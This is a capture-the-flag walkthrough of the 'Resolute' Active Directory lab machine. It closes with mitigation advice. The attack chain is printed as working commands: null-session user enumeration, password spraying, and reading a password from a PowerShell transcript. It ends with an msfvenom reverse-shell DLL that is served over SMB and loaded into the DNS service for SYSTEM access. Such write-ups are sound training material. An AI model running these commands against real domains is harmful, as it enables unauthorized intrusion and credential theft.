Synopsis
Resolute is a realistic Active Directory box. A null session enumerates domain users, and one account’s description leaks a default password. Password spraying finds the user it actually belongs to. A hidden PowerShell transcript then exposes credentials for ryan, who is a member of DnsAdmins — abused to load a malicious DLL into the DNS service and run code as SYSTEM.
- Domain:
megabank.local· Host:RESOLUTE· IP:10.10.10.169
Recon
nmap -sC -sV -sT -Pn 10.10.10.169 -oA nmap-scan
# 88 kerberos, 135 msrpc, 139/445 smb, 389/3268 ldap -> Domain Controller (megabank.local)
Enumeration — null session
Anonymous RPC lists the domain users:
rpcclient -U "" -N 10.10.10.169 -c enumdomusers
# ryan, marko, sunita, melanie, ... , naoki
enum4linux -a dumps user descriptions — and marko’s gives away a default password:
Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
Foothold — password spray
Welcome123! fails for marko, so spray it across every user — it lands on melanie:
crackmapexec smb 10.10.10.169 -u users.txt -p 'Welcome123!'
# [+] megabank.local\melanie:Welcome123!
evil-winrm -i 10.10.10.169 -u melanie -p 'Welcome123!'
*Evil-WinRM* PS C:\Users\melanie\Desktop> cat user.txt
4b5d2**************************** # redacted
Lateral movement — PowerShell transcript
A hidden directory on C:\ holds a saved PowerShell transcript that logged a net use with ryan’s password in clear text:
*Evil-WinRM* PS C:\> dir -force # reveals C:\PSTranscripts
type C:\PSTranscripts\20191203\PowerShell_transcript.*.txt
# cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
ryan : Serv3r4Admin4cc123!
Privilege escalation — DnsAdmins
ryan belongs to DnsAdmins, which can set the DNS server’s serverlevelplugindll — an arbitrary DLL loaded by the DNS service (running as SYSTEM). Craft a payload DLL, host it over SMB, register it, and bounce the service:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.14 LPORT=4444 -f dll > ozil.dll
python3 smbserver.py -smb2support s .
dnscmd.exe /config /serverlevelplugindll \\10.10.14.14\s\ozil.dll
sc.exe \\resolute stop dns
sc.exe \\resolute start dns
The DNS service loads the DLL as SYSTEM and calls back:
C:\Windows\system32> whoami
nt authority\system
C:\Users\Administrator\Desktop> type root.txt
847f2**************************** # redacted
Takeaways & mitigation
- Never put passwords in AD descriptions; audit for it.
- Disable/secure PowerShell transcription output locations — they can leak secrets.
- DnsAdmins is effectively DC compromise — treat it as a Tier-0 group and restrict membership.